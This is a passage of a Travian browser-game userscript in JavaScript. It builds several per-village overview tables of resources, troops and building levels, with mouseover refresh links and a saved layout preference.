thin\");\n\t\t\t\t\t\t}\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 1)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\t}\n\n\tfunction resumenAldeas2()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\", \"\", {\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": \"center\",\n\t\t\t\t\"cellspacing\": 1,\n\t\t\t\t\"cellpadding\": 2\n\t\t\t});\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea1(did), 1000 * 1);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaM(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", ''));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/1.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/2.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/3.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('a/clock.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/4.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('a/clock.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", ''));\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea1(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar enlace = $elem(\"A\", \"\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldeaM(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 8; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 8)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\n\t}\n\n\tfunction resumenAldeas3()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"center\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea2(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", T('ATT')));\n\t\ttr.appendChild($elem(\"TD\", T('CONS')));\n\t\ttr.appendChild($elem(\"TD\", T('TROP')));\n\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea2(did), 0);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 3; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 3)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\n\t}\n\n\tfunction resumenAldeas4()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\", \"\", {\n\t\t\t\"class\": \"tbg\",\n\t\t\t\"align\": \"center\",\n\t\t\t\"cellspacing\": 1,\n\t\t\t\"cellpadding\": 2\n\t\t});\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea3(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\ttr.appendChild(FullRefresh);\n\n\t\tvar td2 = $elem(\"TD\", T('TROP') + ' ' + T('IN') + ' ' + T('ALDEA'));\n\t\ttd2.setAttribute(\"colspan\", \"7\");\n\t\ttr.appendChild(td2);\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea3(did), 0);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 3; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 3)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\n\t}\n\n\n\tfunction resumenAldeas5()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"center\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea4(did), 1000 * 1);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea4b(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", 'LvL'));\n\t\ttr.appendChild($elem(\"TD\", 'Slot'));\n\t\ttr.appendChild($elem(\"TD\", ''));\n\t\ttr.appendChild($elem(\"TD\", T('EXT') + ' / 1'));\n\t\ttr.appendChild($elem(\"TD\", ' / 2'));\n\t\ttr.appendChild($elem(\"TD\", ' / 3'));\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" + img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea4(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar enlace = $elem(\"A\", \"\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea4b(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 6; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 6)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\t}\n\n\n\n\n\n\tfunction resumenAldeas6()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"center\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea5(did), 1000 * 1);\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldeaM(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", ''));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/1.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/2.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/3.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('a/clock.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('r/4.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", '<img src=\"' + img('a/clock.gif') + '\">'));\n\t\ttr.appendChild($elem(\"TD\", ''));\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" +/*Bouton gris */ img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea5(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar enlace = $elem(\"A\", \"\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldeaM(did), 0);\n\t\t\t\ttd.appendChild(enlace);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 8; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 8)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\n\t}\n\n\n\tfunction resumenAldeas7()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"center\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea6(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", 'LvL'));\n\t\ttr.appendChild($elem(\"TD\", T('FT1')));\n\t\ttr.appendChild($elem(\"TD\", T('FT2')));\n\n\t\ttr.setAttribute(\"class\", \"rbg\");\n\t\ttabla.appendChild(tr);\n\n\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t{\n\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t{\n\t\t\t\tvar did = RegExp.$1;\n\t\t\t\tvar tr = $elem(\"TR\");\n\n\t\t\t\tvar td = $elem(\"TD\");\n\t\t\t\t//TeYoU: Vue d'ensemble bouton jaune\n\t\t\t\tvar enlace = $elem(\"A\", \"<img src='\" + img('a/b5.gif') + \"' width='6' border='0' title='\" + T('ACTUALIZAR') + \"' id='aldea\" + did + \"_boton'>\");\n\t\t\t\tenlace.href = \"javascript:void(0);\";\n\t\t\t\tenlace.addEventListener(\"mouseover\", crearEventoActualizarAldea6(did), 0);\n\t\t\t\tvar nobr = $elem(\"NOBR\");\n\t\t\t\tnobr.appendChild(enlace);\n\t\t\t\tnobr.appendChild($elem(\"SPAN\", ' <a style=\"font-size:14px\" href=\"dorf1.php?newdid=' + did + '\">' + aldeas[i].innerHTML + '</a>'));\n\t\t\t\ttd.appendChild(nobr);\n\t\t\t\ttd.setAttribute(\"rowspan\", \"1\");\n\t\t\t\ttd.setAttribute(\"align\", \"left\");\n\t\t\t\ttr.appendChild(td);\n\n\t\t\t\tfor (var j = 0; j < 3; j++)\n\t\t\t\t{\n\t\t\t\t\ttd = $elem(\"TD\", \"-\");\n\t\t\t\t\ttd.setAttribute(\"id\", \"aldea\" + did + \"_\" + j);\n\t\t\t\t\ttd.setAttribute(\"align\", \"Center\");\n\t\t\t\t\ttr.appendChild(td);\n\t\t\t\t\tif (j != 3)\n\t\t\t\t\t\ttabla.appendChild(tr);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == true || posvilleinfo == null)\n\t\t{\n\t\t\tif (a.firstChild)\n\t\t\t\tinsertAfter(a.firstChild, tabla);\n\t\t\telse\n\t\t\t\ta.appendChild(tabla);\n\t\t}\n\t\tposvilleinfo = readCookie(\"posvilleinfo\" + server);\n\t\tif (posvilleinfo == false || posvilleinfo == null)\n\t\t{\n\t\t\ta.appendChild($elem('p', ''));\n\t\t\ta.appendChild(tabla);\n\t\t}\n\n\t}\n\n\n\n\tfunction resumenAldeas8()\n\t{ // par Mik french\n\t\tvar ba = find(\"//div[@id='lright1']\", XPFirst);\n\t\tif (!ba)\n\t\t\treturn;\n\n\t\tif (travplus == false || travplus == null)\n\t\t\tresumomenu();\n\n\t\tvar aldeas = $tags('a', ba);\n\t\tvar a = find(\"//div[@id='lmid2']\", XPFirst);\n\n\t\tvar tabla = $elem(\"TABLE\");\n\t\ttabla.setAttribute(\"class\", \"tbg\");\n\t\ttabla.setAttribute(\"align\", \"center\");\n\t\ttabla.setAttribute(\"cellspacing\", \"1\");\n\t\ttabla.setAttribute(\"cellpadding\", \"2\");\n\n\t\tvar tr = $elem(\"TR\");\n\n\t\t/**\n\t\t * TeYoU\n\t\t * Vue d'ensemble pages message Refresh\n\t\t */\n\t\tvar FullRefresh = $elem(\"A\", '<font color=#FF0000>' + T('REFRESH_INFORMARION') + '</font>');\n\t\tFullRefresh.href = \"javascript:void(0);\";\n\t\tFullRefresh.addEventListener(\"mouseover\", function()\n\t\t{\n\t\t\t//Cliquez automatique\n\t\t\tvar aldeas = $tags('a', ba);\n\t\t\tfor (var i = 0; i < aldeas.length; i++)\n\t\t\t{\n\t\t\t\tif (aldeas[i].getAttribute(\"href\").search(/\\?newdid=(\\d+)/) >= 0)\n\t\t\t\t{\n\t\t\t\t\tvar did = RegExp.$1;\n\t\t\t\t\tsetTimeout(crearEventoActualizarAldea7(did), 1000 * 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}, 0);\n\t\tvar td2 = $elem(\"TD\", '');\n\t\ttd2.appendChild(FullRefresh);\n\t\ttr.appendChild(td2);\n\n\t\ttr.appendChild($elem(\"TD\", 'LvL'));\n\t\ttr.appendChild($elem(\"TD\", 'Slot'));\n\t\ttr.appendChild($elem(\"TD\", ''));\n\t\ttr.appendChild($elem(\"TD\", T('EXT') + ' / 